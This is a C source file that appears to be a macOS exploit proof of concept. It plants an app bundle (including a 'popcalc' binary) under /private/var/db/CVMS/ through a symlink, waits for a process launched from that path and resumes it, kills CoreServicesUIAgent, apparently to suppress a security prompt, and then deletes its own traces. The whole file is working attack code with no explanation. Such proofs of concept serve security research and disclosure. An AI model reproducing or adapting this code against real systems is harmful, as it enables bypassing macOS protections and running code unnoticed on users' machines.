#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <unistd.h>
#include <pthread.h>
#include <signal.h>
#include <sys/sysctl.h>

char* get_arg0_of_pid(int pid) {
  int mib[3];
  mib[0] = CTL_KERN;
  mib[1] = KERN_ARGMAX;
  mib[2] = 0;

  int argmax = 0;;
  size_t size = sizeof(argmax);
  if (sysctl(mib, 2, &argmax, &size, NULL, 0) == -1) {
    return 0;
  }

  char* procargs = (char *)malloc(argmax);
  if (procargs == NULL) {
    return 0;
  }

  mib[0] = CTL_KERN;
  mib[1] = KERN_PROCARGS2;
  mib[2] = pid;

  size = (size_t)argmax;
  if (sysctl(mib, 3, procargs, &size, NULL, 0) == -1) {
    free(procargs);
    return 0;
  }

  char* returnarg0 = strdup(procargs + sizeof(int));
  free(procargs);
  return returnarg0;
}

int find_first_pid_matching(char* starting_arg) {
  size_t start_len = strlen(starting_arg);
  if (start_len < 1) {
    return 0;
  }
  for (int i=0;i<65536;i++) {
    char* arg0 = get_arg0_of_pid(i);
    if (arg0) {
      if (!strncmp(arg0, starting_arg, start_len)) {
        int pid = i;
        free(arg0);
        return pid;
      } else {
        free(arg0);
      }
    }
  }
  return 0;
}

char randbuf[0x1000] = "";

void *handler(void *arg) {
  char cvms_app_path[] = "/private/var/db/CVMS/";
  while (true) {
    int app_pid = find_first_pid_matching(cvms_app_path);
    if (app_pid) {
      kill(app_pid, SIGCONT);
      break;
    }
    sleep(1);
  }

  char coreserv_path[] = "/System/Library/CoreServices/CoreServicesUIAgent.app/Contents/MacOS/CoreServicesUIAgent";
  int popup_pid = find_first_pid_matching(coreserv_path);
  if (popup_pid) {
    kill(popup_pid, SIGKILL);
  }

  sleep(1);

  unlink("/private/var/db/CVMS/m.app/Contents/PkgInfo");
  unlink("/private/var/db/CVMS/m.app/Contents/Info.plist");
  unlink("/private/var/db/CVMS/m.app/Contents/MacOS/popcalc");
  rmdir("/private/var/db/CVMS/m.app/Contents/MacOS");
  rmdir("/private/var/db/CVMS/m.app/Contents/Resources");
  rmdir("/private/var/db/CVMS/m.app/Contents");
  unlink("/private/var/db/CVMS/m.app");
  rmdir(randbuf);

  return 0;
}

void write_file(const char *path, const void *ptr, size_t size) {
  int fd = open(path, O_CREAT | O_WRONLY, 0777);
  write(fd, ptr, size);
  close(fd);
}

void init_app() {
  sprintf(randbuf, "/private/var/db/CVMS/");

  chdir(randbuf);
  unlink("m.app");

  sprintf(randbuf, "%lu.app", clock());
  symlink(randbuf, "m.app");

  mkdir(randbuf, 0777);
  chdir(randbuf);

#include "bundle.hh"

  chdir("/private/var/db/CVMS");
}

int main() {
  init_app();

  pthread_t thread;
  pthread_create(&thread, NULL, handler, NULL);
}
